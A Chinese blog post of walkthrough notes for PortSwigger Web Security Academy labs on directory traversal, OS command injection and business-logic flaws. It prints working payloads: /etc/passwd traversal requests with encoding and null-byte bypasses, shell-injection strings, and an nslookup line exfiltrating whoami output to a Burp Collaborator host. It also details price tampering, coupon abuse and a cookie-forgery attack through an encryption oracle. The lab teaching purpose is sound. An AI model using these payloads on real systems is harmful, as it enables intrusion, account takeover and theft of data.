freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PortSwigger之目录遍历+命令注入+业务逻辑漏洞笔记
2021-09-11 08:29:02

一、Directory traversal

01 File path traversal, simple case

描述

本实验室在产品图片显示中包含文件路径遍历漏洞。

要解决实验室问题,请检索/etc/passwd文件的内容。

解决方案

在图片查看的时候文件是以filename=的形式读取的,bp抓包

GET /image?filename=../../../etc/passwd

image-20210908005934912

02 File path traversal, traversal sequences blocked with absolute path bypass

描述

本实验室在产品图片显示中包含文件路径遍历漏洞。

应用程序阻止遍历序列,但将提供的文件名视为相对于默认工作目录。

要解决实验室问题,请检索/etc/passwd文件的内容。

解决方案

使用绝对路径

GET /image?filename=/etc/passwd

image-20210908010337913

03 File path traversal, traversal sequences stripped non-recursively

描述

本实验室在产品图片显示中包含文件路径遍历漏洞。

应用程序在使用之前从用户提供的文件名中去除路径遍历序列。

要解决实验室问题,请检索/etc/passwd文件的内容。

解决方案

应用程序得到....//之后会删除../,所以需要双写绕过限制

GET /image?filename=....//....//....//etc/passwd

image-20210908010739859

04 File path traversal, traversal sequences stripped with superfluous URL-decode

描述

本实验室在产品图片显示中包含文件路径遍历漏洞。

应用程序块包含路径遍历序列的输入。然后在使用之前对输入执行 URL 解码。

要解决实验室问题,请检索/etc/passwd文件的内容。

解决方案

%25是百分号%的url编码,%2f是/的url编码。应用程序得到..%252f后会进行url解码,得到..%2f,再次解码得到../

GET /image?filename=..%252f..%252f..%252fetc%252fpasswd

image-20210908011338448

05 File path traversal, validation of start of path

描述

本实验室在产品图片显示中包含文件路径遍历漏洞。

应用程序通过请求参数传输完整的文件路径,并验证提供的路径是否以预期的文件夹开头。

要解决实验室问题,请检索/etc/passwd文件的内容。

进入实验室

解决方案

根据文件夹的开头来验证

GET /image?filename=/var/www/images/../../../../../../etc/passwd

image-20210908011820680

06 File path traversal, validation of file extension with null byte bypass

描述

本实验室在产品图片显示中包含文件路径遍历漏洞。

应用程序验证提供的文件名是否以预期的文件扩展名结尾。

要解决实验室问题,请检索/etc/passwd文件的内容。

解决方案

GET方法可以使用%00截断漏洞

服务器收到的字符是`../../../../../etc/passwd%00aa.jpg,最后的.jpg作为后缀,但是读取文件处理的时候将%00作为截断符号,只会读取../../../../../etc/passwd

GET /image?filename=../../../../../etc/passwd%00aa.jpg

image-20210908012027991

二、OS command injection

00 常用命令和分隔符

Purpose of commandLinuxWindows
Name of current userwhoamiwhoami
Operating systemuname -aver
Network configurationifconfigipconfig /all
Network connectionsnetstat -annetstat -an
Running processesps -eftasklist

注入操作系统命令的方式

许多字符用作命令分隔符,允许将命令链接在一起。以下命令分隔符适用于基于 Windows 和 Unix 的系统:

&
&&
|
||

以下命令分隔符仅适用于基于 Unix 的系统:

;
Newline (0x0a or \n)

在基于 Unix 的系统上,您还可以使用反引号或美元字符在原始命令中执行注入命令的内联执行:

` injected command `
$( injected command )

请注意,不同的 shell 元字符具有细微的不同行为,这些行为可能会影响它们是否在某些情况下工作,以及它们是否允许带内检索命令输出或仅对盲目利用有用。

有时,您控制的输入会出现在原始命令的引号内。在这种情况下,您需要在使用合适的 shell 元字符注入新命令之前终止引用的上下文(使用"')。

01 OS command injection, simple case

描述

该实验室在产品库存检查器中包含一个操作系统命令注入漏洞。

应用程序执行包含用户提供的产品和商店 ID 的 shell 命令,并在其响应中返回命令的原始输出。

为了解决实验室,执行whoami命令来确定当前用户的名称.

解决方案

打开任意商品,最下面选择地区,检查库存

image-20210908013335780

查找经过bp的数据包,在storeId位置存在命令执行

image-20210908013441715

02 Blind OS command injection with time delays

描述

本实验在反馈功能中包含一个OS 命令注入漏洞。

应用程序执行包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。

解决实验室,利用OS盲漏洞造成10秒延迟。

解决方案

csrf=MUl4VCyl7vFMjMNACLmbBXnIQJZQx43R&name=aa&email=aaa%40aa.com||sleep+10||&subject=aa&message=aaaa

或者
csrf=MUl4VCyl7vFMjMNACLmbBXnIQJZQx43R&name=aa&email=aaa%40aa.com||ping+-c+10+127.0.0.1||&subject=aa&message=aaaa

image-20210908093907613

03 Blind OS command injection with output redirection

描述

本实验在反馈功能中包含一个OS 命令注入漏洞。

应用程序执行包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。但是,您可以使用输出重定向来捕获命令的输出。有一个可写文件夹:

/var/www/images/

该应用程序从该位置提供产品目录的图像。您可以将注入命令的输出重定向到此文件夹中的文件,然后使用图像加载 URL 检索文件的内容。

要解决实验室问题,请执行whoami命令并检索输出。

解决方案

这个漏洞和第二个一样,就是要写入文件

先验证下漏洞存在

email=aaa||sleep+10||

image-20210908103115325

写入文件,文件名是1

email=aaa||whoami>/var/www/images/1||

读文件

image-20210908103629573

04 Blind OS command injection with out-of-band interaction

描述

本实验在反馈功能中包含一个 OS命令注入漏洞。

应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。

为解决实验室问题,利用盲操作系统命令注入漏洞向 Burp Collaborator 发出 DNS 查找。

解决方案

需要使用 Burp Collaborator 客户端。生成url

image-20210908105709622

aaemail=aaa||nslookup+k5qs8cf4thsy98ma191tg6awonudi2.burpcollaborator.net||

image-20210908105337944

05 Blind OS command injection with out-of-band data exfiltration

描述

本实验在反馈功能中包含一个OS 命令注入漏洞。

应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。

要解决实验室问题,请执行whoami命令并通过 DNS 查询将输出泄露到 Burp Collaborator。您需要输入当前用户的姓名才能完成实验。

解决方案

关于重音符看这个就明白了

image-20210908105932409

执行查询

email=aaa||nslookup+`whoami`.vsr3vn2fgsf9wj9loko43hx7byhp5e.burpcollaborator.net||

获取到用户名 peter-F4eRyn

image-20210908110002032

点击submit solution输入用户名解题

image-20210908110140637

三、Business logic vulnerabilities

01 Excessive trust in client-side controls

描述

本实验未充分验证用户输入。您可以利用其采购工作流程中的逻辑缺陷以意外价格购买商品。解决实验室,买一件“Lightweight "l33t" Leather Jacket”。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

登录wiener用户,发现余额是100

image-20210909002923493

而需要购买的衣服是1337的价格。

打开衣服详情页,添加购物车的时候抓包

image-20210909003105462

将133700修改为1,forward,查看购物车,价格变成了0.01

image-20210909003253054

点击付款

image-20210909003332689

02 High-level logic vulnerability

描述

本实验未充分验证用户输入。您可以利用其采购工作流程中的逻辑缺陷以意外价格购买商品。解决实验室,买一件“轻量级l33t皮夹克”。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

本实验中商品数量可以是负值,金额也可以是负值,所以当我们选择另一个商品,使它的负值a加上一件夹克的价格b的总数小于100即可

image-20210909005230165

付款通过

image-20210909005300545

03 Low-level logic flaw

描述

本实验未充分验证用户输入。您可以利用其采购工作流程中的逻辑缺陷以意外价格购买商品。解决实验室,买一件“轻量级l33t皮夹克”。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

这个实验中,不能直接抓包修改商品数量负值。

每次加入购物车数量不能超过2位数,一次最多99件

image-20210909101323763

尝试金额是否存在最大值,intruder爆破

添加空载荷

image-20210909101503134

爆破100000次

image-20210909101533951

开始攻击后,经常刷新看一下金额,发现金额达到一个最大值后再增加就会变成负值,查看解题思路得知最大值是2,147,483,647,我们随便得到一个负值的金额,然后通过计算一定量的商品,使其之和小于100即可

在金额接近正值的时候停止高线程攻击,在攻击时选择线程为1,无限期继续

image-20210909165454647

当数量更接近的时候停止,根据剩余差值选择合适商品来填,注意金额之和要大于0且小于100

我的结果是这样的

Lightweight "l33t" Leather Jacket 数量32123,Single Use Food Hider数量13

现在的金额是 26.04

image-20210909164919346

购买

image-20210909164939673

04 Inconsistent handling of exceptional input

描述

本实验未充分验证用户输入。您可以利用其帐户注册过程中的逻辑缺陷来访问管理功能。要解决实验室问题,请访问管理面板并删除 Carlos。

解决方案

三点说明:

(1)本实验的漏洞点在于邮箱地址过长时截断保留前255位字符。

(2)且由于邮件读取的时候规则是读最后面的@YOUR-EMAIL-ID.web-security-academy.net进行判断邮箱地址来发送的,所以无论我们前面怎么写,只要后面是对的就可以收到邮件。

(3)又由于服务器判断用户是否为管理员的依据是:通过邮箱所在域是@dontwannacry.com。从而导致读取邮箱时,误以为是高权限用户在注册,于是赋予了这个用户高权限。

所有我们可以直接构造邮箱地址去获取管理员身份达到攻击目的。



1.通过 Burp 代理流量时,打开实验室并转到 "Target" > "Site map"选项卡。右键单击靶场的域名并选择"Engagement tools" > "Discover content"以打开内容发现扫描工具。

image-20210909222626084

2.单击"Session is not running"来启动扫描。

image-20210909230418604

查看对话框中的"Site map" 选项卡。请注意,它发现了新的路径/admin。401状态码是Unauthorized(未授权)。

image-20210909222758882

3.将响应放在浏览器查看,显示无权访问,并返回错误消息:Admin interface only available if logged in as a DontWannaCry user 。得知用户DontWannaCry有访问权限。

image-20210909222913750

4.注册

进入账户注册页面,注册用户名随意,邮箱填写邮箱服务器中的攻击邮箱

attacker@exploit-ac441f8b1e653f8a80edc7a901bd0056.web-security-academy.net

image-20210909223347209

image-20210909223408471

转到电子邮件客户端并注意您已收到确认电子邮件。

单击链接以完成注册。

image-20210909223432720

5.漏洞点-邮箱过长导致的截断

从靶场上面的按钮,打开电子邮件客户端。记下电子邮件服务器域名中的 ID ( @YOUR-EMAIL-ID.web-security-academy.net)。 返回实验室并使用以下格式的超长电子邮件地址进行注册: anything@YOUR-EMAIL-ID.web-security-academy.net 该地址总长度应至少为 255 个字符长。 转到电子邮件客户端并注意您已收到确认电子邮件。

单击链接以完成注册过程。

image-20210909223837377

登录并转到“my account”页面。请注意,您的电子邮件地址已被截断为255 个字符。

image-20210909223927920

短一点的时候是这样

image-20210909224201516

短的狠了就不会触发截断机制了

6.攻击

注销并返回到帐户注册页面。 使用另一个长电子邮件地址注册一个新帐户,但这次dontwannacry.com在您的电子邮件地址中包括作为子域,如下所示:anything@dontwannacry.com.YOUR-EMAIL-ID.web-security-academy.net 确保anything字符数正确,确保到@dontwannacry.com最后一个m的字符数为255 转到电子邮件客户端,然后单击您收到的确认电子邮件中的链接。

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@dontwannacry.com.exploit-ac441f8b1e653f8a80edc7a901bd0056.web-security-academy.net

image-20210909225351889

image-20210909224707445

登录到您的新帐户并注意您现在可以访问管理面板。应用程序服务器将填写的邮箱地址截断保留前255 个字符。anything@dontwannacry.com地址就成了你的地址了。您可以从“我的帐户”页面确认这一点。

image-20210909224756852

image-20210909224816606

7.转到管理面板并删除 Carlos 以解决

image-20210909224840896

这个漏洞也是属于一个逻辑漏洞,因为255个字符长度的限制,导致读取邮箱时,误以为是高权限用户在注册,于是赋予了这个用户高权限

05 Inconsistent security controls

描述

该实验室有缺陷的逻辑允许任意用户访问只应提供给公司员工的管理功能。要解决实验室问题,请访问管理面板并删除 Carlos。

解决方案

1.测试一下访问/admin,发现和前一个类似

image-20210909230621472

但这次没有截断

image-20210909230928745

2.但是在/my-account页面,您可以选择更改电子邮件地址,将您的电子邮件地址更改为任意@dontwannacry.com地址。

image-20210909231056694

3.可以访问管理页面了

image-20210909231123870

4.转到管理面板并删除 Carlos 以解决实验

image-20210909231148844

06 Weak isolation on dual-use endpoint

描述

该实验室根据用户的输入对用户的权限级别做出了有缺陷的假设。因此,您可以利用其帐户管理功能的逻辑来访问任意用户的帐户。要解决实验室,请访问该administrator帐户并删除 Carlos。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

漏洞点在于:在修改密码功能处,通过完全删除current-password参数,则无需提供当前密码也可以成功更改密码

1.登录wiener账户

image-20210909231444207

2.修改密码,抓包,完全删除current-password参数和值

image-20210909231622838

重新登录成功,说明绕过成功

3.由于存在csrf令牌验证,重新登录wiener账户,修改密码的时候抓包修改用户名为administrator

image-20210909232025897

4.登录administrator/1234,删除carlos完成实验

image-20210909232132375

07 Insufficient workflow validation

描述

该实验室对采购工作流程中的事件顺序做出了有缺陷的假设。为了解决实验室,利用这个漏洞购买了一件“轻量级l33t皮夹克”。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

又来到了我喜欢的购物环节~

初始余额还是100$

漏洞点在于发送GET /cart/order-confirmation?order-confirmation=true可以购买购物车中的物品。

1.在 Burp 运行的情况下,登录并购买您可以使用商店信用额度购买的任何物品,以获取此流程中的所有数据包i。

image-20210909233912125

购买成功

image-20210909233926120

2.研究proxy http history。请注意,当您下订单时,POST /cart/checkout请求会将您重定向到订单确认页面。然后继续发送GET /cart/order-confirmation?order-confirmation=true就会购买成功。

漏洞点在于发送GET /cart/order-confirmation?order-confirmation=true可以购买购物车中的物品。将数据包发送到到 Burp repeater。

image-20210909233408876

将皮夹克添加到您的购物篮中。

image-20210909233333019

3.在 Burp Repeater 中,重新发送订单确认请求。观察到订单已完成,而没有从您的商店信用中扣除成本,并且实验室已解决。

GET /cart/order-confirmation?order-confirmation=true

image-20210909233424832

image-20210909233443243

08 Authentication bypass via flawed state machine

描述

该实验室对登录过程中的事件顺序做出了有缺陷的假设。破解实验室,利用该漏洞绕过实验室认证,访问管理界面,删除Carlos。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

漏洞点:登录包之后会有一个认证的/role-selector数据包,删除此数据包可绕过验证

过程不难,不会的建议看视频

1.抓登录包,第一个login包forward放过

image-20210910003425442

2.第二个/role-selector包Drop删除

image-20210910003454192

3.访问/,forward放包

https://ac9a1f981fbdaf7380be1bc1001600a2.web-security-academy.net/

image-20210910003550259

4.成功获取管理员权限

image-20210910003616375

5.删除carlos以解决实验

image-20210910003743550

09 Flawed enforcement of business rules

描述

该实验室的采购工作流程存在逻辑缺陷。为了解决实验室,利用这个漏洞购买了一件“轻量级l33t皮夹克”。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

1.登录并注意有一个优惠券代码,NEWCUST5。

image-20210910004215807

2.在页面底部,输入任意邮箱,您会收到另一个优惠券代码,SIGNUP30。

image-20210910004502519

image-20210910004536430

3.将皮夹克添加到您的购物车。image-20210910004608510

4.去结帐并应用两个优惠券代码以获得订单折扣。

5.尝试多次应用这些代码。请注意,如果您连续两次输入相同的代码,则会被拒绝,因为优惠券已被应用。但是,如果您在两个代码之间交替使用,则可以绕过此控制。image-20210910004730279.png

6.重复使用这两个代码足够多的次数,以将您的订单总额减少到少于您剩余的商店信用额度。完成命令以解决实验室。image-20210910004825785

10 Infinite money logic flaw

描述

该实验室的采购工作流程存在逻辑缺陷。为了解决实验室,利用这个漏洞购买了一件“轻量级l33t皮夹克”。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

该解决方案使用 Burp Intruder 来自动化购买和兑换礼品卡的过程。精通 Python 的用户可能更喜欢使用 Turbo Intruder 扩展。

1.在 Burp 运行的情况下,登录并在home页底部注册以获得优惠券代码SIGNUP30。您可以购买 10 美元的礼品卡并从“my-account”页面兑换它们。image-20210910090827626

image-20210910090854328

2.将礼品卡添加到您的购物篮并进行结账。应用优惠券代码可获得 30% 的折扣。完成订单并将礼品卡代码复制到剪贴板。image-20210910090927454

image-20210910091010192

3.转到您的帐户页面并兑换礼品卡。请注意,整个过程为您的商店信用增加了 3 美元。现在您需要尝试自动化此过程。image-20210910091038789

image-20210910091052781

4.研究proxy http history并注意您通过提供请求gift-card参数中的代码来兑换礼品卡POST /gift-card。 转到“Project options”>“Sessions”。在“Session Handling Rules”面板中,单击“add”。“Session handling rule editor”对话框打开。image-20210910091606322

5.在对话框中,转到“Scope”选项卡。在“URL Scope”下,选择“Include all URLs”。

image-20210910091621296

返回“Details”选项卡。在“Rule actions”下,单击“add”>“Run a macro”。

image-20210910091636452

在“Select macro”下,再次单击“add”以打开宏录制器。

image-20210910091649237

选择以下请求序列: 然后,单击“确定”。宏编辑器打开。

POST /cart
POST /cart/coupon
POST /cart/checkout
GET /cart/order-confirmation?order-confirmed=true
POST /gift-card

image-20210910091731958

6.在请求列表中,选择GET /cart/order-confirmation?order-confirmed=true。单击“Configure item”。

image-20210910091755357

在打开的对话框中,单击“add”以创建自定义参数。

image-20210910091820220

为参数命名gift-card并选中突出显示响应底部的礼品卡代码。单击“OK”两次以返回宏编辑器。

image-20210910091913018

image-20210910091929496

7.选择POST /gift-card请求并再次单击“Configure item”。

image-20210910091945104

在“Parameter handling”部分,使用下拉菜单指定gift-card参数应从先前的响应(response 4)派生。单击“OK”。

image-20210910092005460

8.在宏编辑器中,单击“Test macro”。查看对GET /cart/order-confirmation?order-confirmation=true生成的礼品卡代码的响应并记下。看POST /gift-card请求。确保gift-card参数匹配并确认它收到了302响应。继续单击“OK”,直到返回主 Burp 窗口。

image-20210910092026623

image-20210910092050068

9.将GET /my-account请求发送给 Burp Intruder。使用“Sniper”攻击类型并清除默认的有效载荷位置。

image-20210910093052914

10.在“payload”选项卡上,选择有效载荷类型“Null payloads”。在“Payload options”下,选择生成412有效载荷。

image-20210910093306904

11.转到“Resource pool”选项卡并将攻击添加到“Maximum concurrent requests”设置为1。开始攻击。

image-20210910093334383

12.攻击完成后,您将有足够的商店信用来购买夹克并解决实验室问题。

image-20210910023542274

11Authentication bypass via encryption oracle

描述

该实验室包含一个向用户公开加密预言机的逻辑缺陷。要解决实验室问题,请利用此漏洞访问管理面板并删除 Carlos。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

1.在勾选“Stay logged in”选项的情况下登录,找一篇文章发表评论。使用 Burp 的手动测试工具研究相应的请求和响应。观察stay-logged-incookie 是否已加密。image-20210910134929672

邮箱格式正确的时候(xxx@xx.xx)评论正常image-20210910135048348

image-20210910135101087

再写一个错误的邮箱测试image-20210910135135567

得到一个错误提示image-20210910135159999

观察数据包

正确邮箱评论成功的数据包image-20210910135802442

错误邮箱image-20210910135910772

2.请注意,当您尝试使用无效的电子邮件地址提交评论时,响应中会在将您重定向到博客文章之前设置一个加密的cookie notification。

3.请注意,错误消息email以明文形式反映了您从参数中输入的信息: Invalid email address: your-invalid-email 推断这必须从cookie notification 中解密。向 Burp Repeater发送POST /post/comment和后续GET /post?postId=x请求(这个请求中也包含notification cookie)。

4.在Repeater中,观察可以使用请求的email参数POST对任意数据进行加密,并在Set-Cookie header中反映对应的密文。同样,您可以使用请求中的cookie notification GET来解密任意密文并在错误消息中反映输出。

加密用的数据包POST /post/commentimage-20210910140417606

解密适用的数据包GET /post?postId=1image-20210910140600371

为简单起见,双击每个请求的选项卡encrypt并decrypt分别重命名选项卡和。image-20210910140931107

5.在解密请求中,复制您的stay-logged-incookie 并将其粘贴到notificationcookie 中。发送请求。响应现在包含解密的stay-logged-incookie,而不是错误消息

stay-logged-in=ajCH8h4j9DGNrMKUj3nHUfVjeU%2fAYWNH92qvzHTSzMs%3d

这表明 cookie 的格式应该是username:timestamp. 将时间戳复制到剪贴板。

wiener:1631253288302

6.转到加密请求并将电子邮件参数更改为administrator:your-timestamp. 发送请求,然后notification从响应中复制新的cookie。

administrator:1631253288302
notification=u37cH7RgwyRO5VmRwRdLL980LgLbwhiQva%2fy%2b922LhNhsgoa94obZd3QmMVuyDtoHRu14Fqxi8Dsc%2bipoKtYaA%3d%3d;

7.解密这个新 cookie 的结果是

Invalid email address: administrator:1631253288302

并观察前面Invalid email address:(算着冒号后面的一个空格) 共有23 个字符。前缀会自动添加这23个字符到您使用错误email参数的任何值中。将notification cookie发送到 Burp Decoder。image-20210910141628054

8.在解码器中,对 cookie 进行 URL 解码和 Base64 解码。选择“Hex”视图,然后右键单击数据中的第一个字节。选择“删除字节”并删除 23 个字节。image-20210910142339986

由于前面Invalid email address:长度是23,尝试删除前面23字节,并对剩余部分进行base64编码+url编码

%6b%4c%32%76%38%76%76%64%74%69%34%54%59%62%49%4b%47%76%65%4b%47%32%58%64%30%4a%6a%46%62%73%67%37%61%42%30%62%74%65%42%61%73%59%76%41%37%48%50%6f%71%61%43%72%57%47%67%3d

image-20210910142639182

9.重新编码数据并将结果复制到notification解密请求的cookie 中。当您发送请求时,观察错误消息表明使用的是基于块的加密算法,并且输入长度必须是 16 的倍数。您需要Invalid email address: 用足够的字节填充“ ”前缀,以便字节数您将删除的是 16 的倍数。image-20210910142817882

10.已知administrator:1631253288302的长度为27。前缀Invalid email address:长度为23,16x2-23 = 9,那么只要在administrator:1631253288302前面添加9个字符,删除字符的时候删除32个字符,只剩administrator:1631253288302,就能确保解密正确。

administrator:1631253288302 无需确保一定要是16的倍数,分组加密算法会自动往结尾padding。这也是为什么一开始base64解密结果是64位的原因:64-23=41位,说明去掉前面前缀Invalid email address:后还剩41位的加密块,但是实际内容只剩下27位administrator:1631253288302,自动填充了14位,从而确保总数是16的倍数64.

image-20210910142339986

那么提交非法email:xxxxxxxxxadministrator:1631253288302

加密此输入并使用解密请求来测试它是否可以成功解密。

notification=u37cH7RgwyRO5VmRwRdLL0oYYvVrDGD25Rh9Edd78e%2fsLkSUXROOR3rr0Qlst2tGxEN1X7J4mmCHiFuXHtbq3A%3d%3d;

image-20210910143620193

11.将新密文发送到解码器,然后通过 URL 和 Base64 对其进行解码。这一次,从数据的开头删除 32 个字节(因为现在多余首部是32位Invalid email address: xxxxxxxxx)。

image-20210910143729360

image-20210910143845557

重新编码数据并将其粘贴到notification解密请求中的参数中。检查响应以确认您的输入已成功解密,并且至关重要的是,不再包含“ Invalid email address: ”前缀。你应该只看到administrator:your-timestamp.

%37%43%35%45%6c%46%30%54%6a%6b%64%36%36%39%45%4a%62%4c%64%72%52%73%52%44%64%56%2b%79%65%4a%70%67%68%34%68%62%6c%78%37%57%36%74%77%3d

image-20210910143929338

12.从代理历史记录中,将GET /请求发送到 Burp Repeater。将sessioncookie彻底删除,将cookie替换stay-logged-in为您自制cookie的密文。发送请求。请注意,您现在以管理员身份登录并可以访问管理面板。

image-20210910144128492

forward一下

image-20210910144151718

13.使用 Burp Repeater,浏览/admin并注意删除用户的选项。浏览到/admin/delete?username=carlos解决实验室。

image-20210910144202334

image-20210910144216904

# 命令注入漏洞 # 目录遍历漏洞 # 靶场 # 业务逻辑漏洞 # PortSwigger
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录